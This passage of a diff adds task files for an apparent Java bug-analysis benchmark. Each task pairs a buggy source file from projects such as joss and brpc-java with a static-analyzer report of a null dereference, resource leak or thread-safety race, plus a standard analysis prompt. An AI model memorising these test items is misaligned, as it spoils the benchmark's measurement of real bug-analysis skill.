+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `statement` last assigned on line 66 could be null and is dereferenced at line 67.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ForTransformerTest.testMultipleInsAreTrimmed()
+
+### Procedure Id:
+org.openscore.lang.compiler.modeller.transformers.ForTransformerTest.testMultipleInsAreTrimmed():voi.8df41b4ab64c162df1c0cf0f5b1acb2d
+
+### File:
+score-lang-compiler/src/test/java/org/openscore/lang/compiler/modeller/transformers/ForTransformerTest.java
+
+### Key:
+ForTransformerTest.java|testMultipleInsAreTrimmed|NULL_DEREFERENCE
+
+### Node Key:
+b36a47f8c37a83daf33a009ca0f8c797
+
+### Hash:
+743a50cdcb2e8744f65f3e5f28aca09a
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-11048/instruction.md b/inferredbugs-11048/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f899caf0da31ca990806149d04c5ff69f00a5a63
--- /dev/null
+++ b/inferredbugs-11048/instruction.md
@@ -0,0 +1,201 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** joss
+**Bug ID:** 27
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.javaswift.joss.client.impl;
+
+import org.javaswift.joss.command.shared.identity.access.AccessImpl;
+import org.javaswift.joss.instructions.DownloadInstructions;
+import org.javaswift.joss.instructions.UploadInstructions;
+import org.javaswift.joss.model.Container;
+import org.javaswift.joss.headers.object.DeleteAfter;
+import org.javaswift.joss.headers.object.DeleteAt;
+import org.javaswift.joss.headers.object.ObjectContentType;
+import org.javaswift.joss.model.StoredObject;
+import org.javaswift.joss.client.core.AbstractStoredObject;
+import org.javaswift.joss.command.impl.object.*;
+import org.apache.http.client.HttpClient;
+
+import java.io.File;
+import java.io.InputStream;
+import java.util.Date;
+
+public class StoredObjectImpl extends AbstractStoredObject {
+
+    public StoredObjectImpl(Container container, String name, boolean allowCaching) {
+        super(container, name, allowCaching);
+    }
+
+    public InputStream downloadObjectAsInputStream() {
+        return downloadObjectAsInputStream(new DownloadInstructions());
+    }
+
+    public InputStream downloadObjectAsInputStream(DownloadInstructions downloadInstructions) {
+        return new DownloadObjectAsInputStreamCommand(getAccount(), getClient(), getAccess(), this, downloadInstructions).call();
+    }
+
+    public byte[] downloadObject() {
+        return downloadObject(new DownloadInstructions());
+    }
+
+    public byte[] downloadObject(DownloadInstructions downloadInstructions) {
+        return new DownloadObjectAsByteArrayCommand(getAccount(), getClient(), getAccess(), this, downloadInstructions).call();
+    }
+
+    public void downloadObject(File targetFile) {
+        downloadObject(targetFile, new DownloadInstructions());
+    }
+
+    public void downloadObject(File targetFile, DownloadInstructions downloadInstructions) {
+        new DownloadObjectToFileCommand(getAccount(), getClient(), getAccess(), this, downloadInstructions, targetFile).call();
+    }
+
+    public void directlyUploadObject(UploadInstructions uploadInstructions) {
+        new UploadObjectCommand(getAccount(), getClient(), getAccess(), this, uploadInstructions).call();
+    }
+
+    public void uploadObject(InputStream inputStream) {
+        uploadObject(new UploadInstructions(inputStream));
+    }
+
+    public void uploadObject(byte[] fileToUpload) {
+        uploadObject(new UploadInstructions(fileToUpload));
+    }
+
+    public void uploadObject(File fileToUpload) {
+        uploadObject(new UploadInstructions(fileToUpload));
+    }
+
+    public void delete() {
+        new DeleteObjectCommand(getAccount(), getClient(), getAccess(), this).call();
+    }
+
+    public void copyObject(Container targetContainer, StoredObject targetObject) {
+        new CopyObjectCommand(getAccount(), getClient(), getAccess(), this, targetObject).call();
+    }
+
+    public StoredObject setContentType(String contentType) {
+        checkForInfo();
+        info.setContentType(new ObjectContentType(contentType));
+        new ObjectMetadataCommand(
+                getAccount(), getClient(), getAccess(), this,
+                info.getHeadersIncludingHeader(info.getContentTypeHeader())).call();
+        return this;
+    }
+
+    public StoredObject setDeleteAfter(long seconds) {
+        checkForInfo();
+        info.setDeleteAt(null);
+        info.setDeleteAfter(new DeleteAfter(seconds));
+        new ObjectMetadataCommand(
+                getAccount(), getClient(), getAccess(), this,
+                info.getHeadersIncludingHeader(info.getDeleteAfter())).call();
+        return this;
+    }
+
+    @Override
+    public StoredObject setDeleteAt(Date date) {
+        checkForInfo();
+        info.setDeleteAt(new DeleteAt(date));
+        saveMetadata();
+        return this;
+    }
+
+    protected AccountImpl getAccount() {
+        return (AccountImpl)getContainer().getAccount();
+    }
+
+    @Override
+    public ContainerImpl getContainer() {
+        return (ContainerImpl)super.getContainer();
+    }
+
+    protected HttpClient getClient() {
+        return getContainer().getClient();
+    }
+
+    protected AccessImpl getAccess() {
+        return getContainer().getAccess();
+    }
+
+    @Override
+    protected void saveMetadata() {
+        new ObjectMetadataCommand(getAccount(), getClient(), getAccess(), this, info.getHeaders()).call();
+    }
+
+    protected void getInfo() {
+        this.info = new ObjectInformationCommand(getAccount(), getClient(), getAccess(), this).call();
+        this.setInfoRetrieved();
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.javaswift.joss.command.impl.object.ObjectMetadataCommand` acquired by call to `ObjectMetadataCommand(...)` at line 78 is not released after line 78.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+StoredObject StoredObjectImpl.setContentType(String)
+
+### Procedure Id:
+org.javaswift.joss.client.impl.StoredObjectImpl.setContentType(java.lang.String):org.javaswift.joss..ededfcdba4e6a8863ecfcd3443233ea4
+
+### File:
+src/main/java/org/javaswift/joss/client/impl/StoredObjectImpl.java
+
+### Key:
+StoredObjectImpl.java|setContentType|RESOURCE_LEAK
+
+### Node Key:
+e0158d35fd4613e0bab5fbffaaa0f9ea
+
+### Hash:
+65f1af599fb7610e53cfed1a9570bb2c
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-11077/instruction.md b/inferredbugs-11077/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..4984ebfda74372deda7c234ffc3822357d87caed
--- /dev/null
+++ b/inferredbugs-11077/instruction.md
@@ -0,0 +1,218 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** joss
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package nl.t42.openstack;
+
+import nl.t42.openstack.client.OpenStackClient;
+import nl.t42.openstack.client.OpenStackClientImpl;
+import nl.t42.openstack.model.*;
+import org.apache.commons.codec.digest.DigestUtils;
+import org.apache.commons.io.IOUtils;
+
+import java.io.*;
+import java.util.Map;
+import java.util.TreeMap;
+
+public class Main {
+    public static void main(String args[]) throws IOException {
+
+        if (args.length != 3) {
+            System.out.println("Use syntax: <USERNAME> <PASSWORD> <URL>");
+            return;
+        }
+        String username = args[0];
+        String password = args[1];
+        String url = args[2];
+        System.out.println("Executing with "+username+"/"+password+"@"+url);
+
+        OpenStackClient client = new OpenStackClientImpl();
+        client.authenticate(username, password, url);
+
+//        client.makeContainerPublic(new Container("Eindhoven"));
+//        client.makeContainerPrivate(new Container("Eindhoven"));
+
+//        Map<String, Object> metadata = new TreeMap<String, Object>();
+//        metadata.put("Year", "1989");
+//        metadata.put("Owner", "42 BV");
+//        client.setAccountInformation(metadata);
+
+//        AccountInformation accountInformation = client.getAccountInformation();
+//        System.out.println("Containers in use: "+accountInformation.getContainerCount());
+//        System.out.println("Objects in use: "+accountInformation.getObjectCount());
+//        System.out.println("Bytes used: "+accountInformation.getBytesUsed());
+//        System.out.println("Year: "+accountInformation.getMetadata().get("Year"));
+//        System.out.println("Owner: "+accountInformation.getMetadata().get("Owner"));
+
+//        System.out.println("Tilburg: "+client.getContainerInformation(new Container("Tilburg")).isPublicContainer());
+//        System.out.println("Breda: "+client.getContainerInformation(new Container("Breda")).isPublicContainer());
+//        System.out.println("Eindhoven: " + client.getContainerInformation(new Container("Eindhoven")).isPublicContainer());
+
+//        ContainerInformation info = client.getContainerInformation(new Container("Tilburg"));
+//        System.out.println("Object count: "+info.getObjectCount());
+//        System.out.println("Bytes used: "+info.getBytesUsed());
+//        System.out.println("Public?: "+info.isPublicContainer());
+
+//        InputStream inputStream = new FileInputStream(new File("/Users/robertbor/Downloads/dog.png"));
+//        byte[] fileToUpload = IOUtils.toByteArray(inputStream);
+//        inputStream.close();
+//        client.uploadObject(new Container("Tilburg"), new StoreObject("somedog3.png"), fileToUpload);
+
+//        Container container = new Container("Tilburg");
+//        StoreObject sourceObject = new StoreObject("somedog5.png");
+//        StoreObject targetObject = new StoreObject("newdog.png");
+//        client.uploadObject(container, sourceObject, new File("/Users/robertbor/Downloads/dog.png"));
+//        client.copyObject(container, sourceObject, container, targetObject);
+
+        byte[] plaatje = client.downloadObject(new Container("Tilburg"), new StoreObject("doggie.png"));
+        System.out.println("Grootte plaatje: " + plaatje.length);
+        FileOutputStream fos = new FileOutputStream(new File("plaatje.png"));
+        fos.write(plaatje);
+        fos.close();
+
+        client.downloadObject(new Container("Tilburg"), new StoreObject("doggie.png"), new File("plaatje2.png"));
+
+//        uploadFile(client, "Tilburg", "doggie.png", new File("/Users/robertbor/Downloads/dog.png"));
+//        client.uploadObject(new Container("Tilburg"), new StoreObject("doggie.png"), new File("/Users/robertbor/Downloads/dog.png"));
+//        client.deleteObject(new Container("Tilburg"), new StoreObject("somedog5.png"));
+
+//        ContainerInformation info2 = client.getContainerInformation(new Container("Tilburg"));
+//        System.out.println("\nAFTER");
+//        System.out.println("Object count: "+info2.getObjectCount());
+//        System.out.println("Bytes used: "+info2.getBytesUsed());
+
+//        Map<String, Object> metadata = new TreeMap<String, Object>();
+//        metadata.put("Description", "Kantoor Eindhoven, inclusief randgemeenten");
+//        metadata.put("Province", "Noord Brabant");
+//        metadata.put("Country", "Nederland");
+//        client.setContainerInformation(new Container("Eindhoven"), metadata);
+//        client.setObjectInformation(new Container("Tilburg"), new StoreObject("somedog.png"), metadata);
+//
+//        ObjectInformation info = client.getObjectInformation(new Container("Tilburg"), new StoreObject("somedog.png"));
+//        System.out.println("Last modified:  "+info.getLastModified());
+//        System.out.println("ETag:           "+info.getEtag());
+//        System.out.println("Content type:   "+info.getContentType());
+//        System.out.println("Content length: "+info.getContentLength());
+//        for (String key : info.getMetadata().keySet()) {
+//            System.out.println("META / "+key+": "+info.getMetadata().get(key));
+//        }
+
+//        StoreObject objects[] = client.listObjects(new Container("Tilburg"));
+//        for (StoreObject object : objects) {
+//            System.out.println("* object -> "+object);
+//        }
+
+//        client.createContainer(new Container("Leiden"));
+//        client.deleteContainer(new Container("Leiden"));
+
+//        Map<String, Object> metadata = new TreeMap<String, Object>();
+//        metadata.put("Description", "Kantoor Eindhoven, inclusief randgemeenten");
+//        metadata.put("Province", "Noord Brabant");
+//        metadata.put("Country", "Nederland");
+//        client.setContainerInformation(new Container("Eindhoven"), metadata);
+
+//        ContainerInformation info = client.getContainerInformation(new Container("Eindhoven"));
+//        System.out.println("Object count: "+info.getObjectCount());
+//        System.out.println("Bytes used: "+info.getBytesUsed());
+//        System.out.println("Description: "+info.getMetadata().get("Description"));
+//        System.out.println("Province: "+info.getMetadata().get("Province"));
+//        System.out.println("Country: "+info.getMetadata().get("Country"));
+
+//
+//        Container[] containers = client.listContainers();
+//        for (Container container : containers) {
+//            System.out.println(container);
+//        }
+
+    }
+
+    public static void uploadFile(OpenStackClient client, String containerName, String objectName, File file) throws IOException {
+        Container container = new Container(containerName);
+        StoreObject object = new StoreObject(objectName);
+
+        // TEST WITH PURE STREAM
+        InputStream inputStream = new FileInputStream(file);
+        client.uploadObject(container, object, inputStream);
+        inputStream.close();
+
+        ObjectInformation info = client.getObjectInformation(container, object);
+        System.out.println("Last modified:  "+info.getLastModified());
+        System.out.println("ETag:           "+info.getEtag());
+        System.out.println("Content type:   "+info.getContentType());
+        System.out.println("Content length: "+info.getContentLength());
+        for (String key : info.getMetadata().keySet()) {
+            System.out.println("META / "+key+": "+info.getMetadata().get(key));
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `client.access` last assigned on line 26 could be null and is dereferenced by call to `downloadObject(...)` at line 63.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Main.main(java.lang.String[])
+
+### Procedure Id:
+nl.t42.openstack.Main.main(java.lang.String[]):void.641d695783bb69598ecc2e9e596a1054
+
+### File:
+src/main/java/nl/t42/openstack/Main.java
+
+### Key:
+Main.java|main|NULL_DEREFERENCE
+
+### Node Key:
+562a0e1678c28c736277a4e8ec466ea6
+
+### Hash:
+8d02fbe5f9cb92a706c1665077eff3b1
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-11102/instruction.md b/inferredbugs-11102/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..462f5f1601c9273e13b917d920d38105bd1549bd
--- /dev/null
+++ b/inferredbugs-11102/instruction.md
@@ -0,0 +1,184 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** brpc-java
+**Bug ID:** 4
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.baidu.brpc.server;
+
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.concurrent.locks.ReadWriteLock;
+import java.util.concurrent.locks.ReentrantReadWriteLock;
+
+import org.apache.commons.lang3.StringUtils;
+
+import com.baidu.brpc.server.push.PushChannelContextHolder;
+
+import io.netty.channel.Channel;
+import io.netty.util.Attribute;
+import lombok.extern.slf4j.Slf4j;
+
+@Slf4j
+public class ChannelManager {
+    private static volatile ChannelManager instance;
+
+    private ReadWriteLock lock = new ReentrantReadWriteLock();
+    private Map<String, List<Channel>> channelMap = new HashMap<String, List<Channel>>();
+    private Set<Channel> channelSet = new HashSet<Channel>();
+    private AtomicInteger index = new AtomicInteger(0);
+
+    public static ChannelManager getInstance() {
+        if (instance == null) {
+            synchronized(ChannelManager.class) {
+                if (instance == null) {
+                    instance = new ChannelManager();
+                }
+            }
+        }
+        return instance;
+    }
+
+    private ChannelManager() {
+    }
+
+    public void putChannel(String clientName, Channel channel) {
+        lock.writeLock().lock();
+        if (!channelSet.contains(channel)) {
+            List<Channel> channelList = channelMap.get(clientName);
+            if (channelList == null) {
+                channelList = new ArrayList<Channel>();
+                channelMap.put(clientName, channelList);
+            }
+            channelMap.get(clientName).add(channel);
+        }
+        lock.writeLock().unlock();
+    }
+
+    public Channel getChannel(String clientName) {
+        if (log.isDebugEnabled()) {
+            for (Map.Entry<String, List<Channel>> entry : channelMap.entrySet()) {
+                log.debug("participantName={}, channelNum={}",
+                        entry.getKey(),
+                        entry.getValue() == null ? 0 : entry.getValue().size());
+            }
+        }
+        lock.readLock().lock();
+        try {
+            List<Channel> channelList = channelMap.get(clientName);
+            if (channelList == null || channelList.size() == 0) {
+                log.info("no available connection for clientName={}", clientName);
+                return null;
+            }
+            int id = index.getAndIncrement() % channelList.size();
+            Channel channel = channelList.get(id);
+            return channel;
+        } finally {
+            lock.readLock().unlock();
+        }
+    }
+
+    public void removeChannel(Channel channel) {
+
+        //        Set<Map.Entry<String, List<Channel>>> entries = channelMap.entrySet();
+        //        for(Map.Entry<String, List<Channel>> entry : entries){
+        //            List<Channel> list = entry.getValue();
+        //            if(CollectionUtils.isNotEmpty(list)){
+        //                list.remove(channel);
+        //            }
+        //        }
+
+        Attribute<String> participant = channel.attr(PushChannelContextHolder.CLIENTNAME_KEY);
+        String participantName = participant.get();
+        if (StringUtils.isNotBlank(participantName)) {
+            lock.writeLock().lock();
+            List<Channel> channelList = channelMap.get(participantName);
+            channelList.remove(channel);
+            channelSet.remove(channel);
+            lock.writeLock().unlock();
+        }
+    }
+
+    public Map<String, List<Channel>> getChannelMap() {
+        return channelMap;
+    }
+
+    public void setChannelMap(Map<String, List<Channel>> channelMap) {
+        this.channelMap = channelMap;
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `com.baidu.brpc.server.ChannelManager.getChannel` reads without synchronization from `this.com.baidu.brpc.server.ChannelManager.channelMap`. Potentially races with write in method `ChannelManager.setChannelMap(...)`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Channel ChannelManager.getChannel(String)
+
+### Procedure Id:
+com.baidu.brpc.server.ChannelManager.getChannel(java.lang.String):io.netty.channel.Channel.ad1c2c01d7df51a4502bef3646abf247
+
+### File:
+brpc-java-core/src/main/java/com/baidu/brpc/server/ChannelManager.java
+
+### Key:
+ChannelManager.java|getChannel|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+0f122d9d23ead756c9f11122ffae3327
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-11103/instruction.md b/inferredbugs-11103/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ac6d1103de553df1a73a796b3c5a97ae20b86dec
--- /dev/null
+++ b/inferredbugs-11103/instruction.md
@@ -0,0 +1,221 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** brpc-java
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2018 Baidu, Inc. All Rights Reserved.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.baidu.brpc.client;
+
+import static org.hamcrest.CoreMatchers.instanceOf;
+import static org.hamcrest.CoreMatchers.is;
+import static org.junit.Assert.assertThat;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+
+import java.lang.reflect.Method;
+import java.util.Collections;
+import java.util.concurrent.TimeUnit;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.mockito.ArgumentCaptor;
+import org.mockito.Captor;
+import org.mockito.Mock;
+
+import com.baidu.brpc.ChannelInfo;
+import com.baidu.brpc.RpcMethodInfo;
+import com.baidu.brpc.client.channel.BrpcChannelGroup;
+import com.baidu.brpc.exceptions.RpcException;
+import com.baidu.brpc.interceptor.Interceptor;
+import com.baidu.brpc.protocol.Options;
+import com.baidu.brpc.protocol.ProtocolManager;
+import com.baidu.brpc.protocol.Response;
+import com.baidu.brpc.protocol.RpcResponse;
+import com.baidu.brpc.test.BaseMockitoTest;
+
+import io.netty.util.Timeout;
+
+public class RpcFutureTest extends BaseMockitoTest {
+    @Mock
+    private RpcClient rpcClient;
+    @Mock
+    private Timeout timeout;
+    @Mock
+    private ChannelInfo channelInfo;
+    @Mock
+    private BrpcChannelGroup channelGroup;
+    @Mock
+    private RpcCallback<String> rpcCallback;
+    @Mock
+    private Interceptor interceptor;
+    @Captor
+    private ArgumentCaptor<Throwable> throwableCaptor;
+
+    private RpcMethodInfo methodInfo;
+
+    private interface EchoService {
+        String echo(String message);
+    }
+
+    @Before
+    public void init() throws Exception {
+        when(rpcClient.getInterceptors()).thenReturn(Collections.singletonList(interceptor));
+        when(rpcClient.getProtocol()).thenReturn(
+                ProtocolManager.instance().init("utf-8").getProtocol(Options.ProtocolType.PROTOCOL_BAIDU_STD_VALUE));
+        when(channelInfo.getChannelGroup()).thenReturn(channelGroup);
+        Class clazz = EchoService.class;
+        Method method = clazz.getMethod("echo", String.class);
+        this.methodInfo = new RpcMethodInfo(method);
+        reset(rpcCallback);
+    }
+
+    @Test
+    public void testAsyncHandleSuccessfulResponse() throws Exception {
+        RpcFuture rpcFuture = new RpcFuture<String>(timeout, methodInfo, rpcCallback, channelInfo, rpcClient);
+        Response response = new RpcResponse();
+        response.setResult("hello world");
+        rpcFuture.handleResponse(response);
+        verify(rpcCallback).success(eq("hello world"));
+        verify(interceptor).handleResponse(any(RpcResponse.class));
+        assertThat(rpcFuture.get(), is(response));
+    }
+
+    @Test
+    public void testAsyncHandleFailResponse() throws Exception {
+        RpcFuture rpcFuture = new RpcFuture<String>(timeout, methodInfo, rpcCallback, channelInfo, rpcClient);
+        Response response = new RpcResponse();
+        RuntimeException ex = new RuntimeException("dummy");
+        response.setException(ex);
+        rpcFuture.handleResponse(response);
+        verify(rpcCallback).fail(ex);
+        verify(interceptor).handleResponse(any(RpcResponse.class));
+        assertThat(rpcFuture.get(), is(response));
+    }
+
+    @Test
+    public void testAsyncHandleNullResponse() throws Exception {
+        RpcFuture rpcFuture = new RpcFuture<String>(timeout, methodInfo, rpcCallback, channelInfo, rpcClient);
+        rpcFuture.handleResponse(null);
+        verify(rpcCallback).fail(throwableCaptor.capture());
+        Throwable t = throwableCaptor.getValue();
+        assertThat(t, instanceOf(RpcException.class));
+        verify(interceptor).handleResponse(null);
+    }
+
+    @Test
+    public void testSyncHandleSuccessfulResponse() throws Exception {
+        RpcFuture rpcFuture = new RpcFuture<String>(timeout, methodInfo, null, channelInfo, rpcClient);
+        RpcResponse response = new RpcResponse();
+        response.setResult("hello world");
+        rpcFuture.handleResponse(response);
+        Response resp = rpcFuture.get(1, TimeUnit.SECONDS);
+        assertThat((String) resp.getResult(), is("hello world"));
+    }
+
+    @Test
+    public void testSyncHandleFailResponse() throws Exception {
+        RpcFuture rpcFuture = new RpcFuture<String>(timeout, methodInfo, null, channelInfo, rpcClient);
+        RpcResponse response = new RpcResponse();
+        RuntimeException ex = new RuntimeException("dummy");
+        response.setException(ex);
+        rpcFuture.handleResponse(response);
+        Response resp = rpcFuture.get(1, TimeUnit.SECONDS);
+        assertThat((RuntimeException) resp.getException(), is(ex));
+    }
+
+    @Test
+    public void testSyncHandleTimeout() throws Exception {
+        RpcFuture rpcFuture = new RpcFuture<String>(timeout, methodInfo, null, channelInfo, rpcClient);
+        Response resp = rpcFuture.get(100, TimeUnit.MILLISECONDS);
+        assertThat(resp.getException(), instanceOf(RpcException.class));
+        assertThat(((RpcException) resp.getException()).getCode(), is(RpcException.TIMEOUT_EXCEPTION));
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `resp` last assigned on line 142 could be null and is dereferenced at line 143.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void RpcFutureTest.testSyncHandleTimeout()
+
+### Procedure Id:
+com.baidu.brpc.client.RpcFutureTest.testSyncHandleTimeout():void.515e6ff9a3fada05c19efe5c8149fe6a
+
+### File:
+brpc-java-core/src/test/java/com/baidu/brpc/client/RpcFutureTest.java
+
+### Key:
+RpcFutureTest.java|testSyncHandleTimeout|NULL_DEREFERENCE
+
+### Node Key:
+00fd53f6c8ed62d1059a57f6a2bd0ac0
+
+### Hash:
+bb2456865482f33010db53d634efc4d9
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-11104/instruction.md b/inferredbugs-11104/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..cae4a02cf8aeaa9499f2f9e2cb20cbf1ad706196
--- /dev/null
+++ b/inferredbugs-11104/instruction.md
@@ -0,0 +1,221 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** brpc-java
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2018 Baidu, Inc. All Rights Reserved.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.baidu.brpc.client;
+
+import static org.hamcrest.CoreMatchers.instanceOf;
+import static org.hamcrest.CoreMatchers.is;
+import static org.junit.Assert.assertThat;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+
+import java.lang.reflect.Method;
+import java.util.Collections;
+import java.util.concurrent.TimeUnit;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.mockito.ArgumentCaptor;
+import org.mockito.Captor;
+import org.mockito.Mock;
+
+import com.baidu.brpc.ChannelInfo;
+import com.baidu.brpc.RpcMethodInfo;
+import com.baidu.brpc.client.channel.BrpcChannelGroup;
+import com.baidu.brpc.exceptions.RpcException;
+import com.baidu.brpc.interceptor.Interceptor;
+import com.baidu.brpc.protocol.Options;
+import com.baidu.brpc.protocol.ProtocolManager;
+import com.baidu.brpc.protocol.Response;
+import com.baidu.brpc.protocol.RpcResponse;
+import com.baidu.brpc.test.BaseMockitoTest;
+
+import io.netty.util.Timeout;
+
+public class RpcFutureTest extends BaseMockitoTest {
+    @Mock
+    private RpcClient rpcClient;
+    @Mock
+    private Timeout timeout;
+    @Mock
+    private ChannelInfo channelInfo;
+    @Mock
+    private BrpcChannelGroup channelGroup;
+    @Mock
+    private RpcCallback<String> rpcCallback;
+    @Mock
+    private Interceptor interceptor;
+    @Captor
+    private ArgumentCaptor<Throwable> throwableCaptor;
+
+    private RpcMethodInfo methodInfo;
+
+    private interface EchoService {
+        String echo(String message);
+    }
+
+    @Before
+    public void init() throws Exception {
+        when(rpcClient.getInterceptors()).thenReturn(Collections.singletonList(interceptor));
+        when(rpcClient.getProtocol()).thenReturn(
+                ProtocolManager.instance().init("utf-8").getProtocol(Options.ProtocolType.PROTOCOL_BAIDU_STD_VALUE));
+        when(channelInfo.getChannelGroup()).thenReturn(channelGroup);
+        Class clazz = EchoService.class;
+        Method method = clazz.getMethod("echo", String.class);
+        this.methodInfo = new RpcMethodInfo(method);
+        reset(rpcCallback);
+    }
+
+    @Test
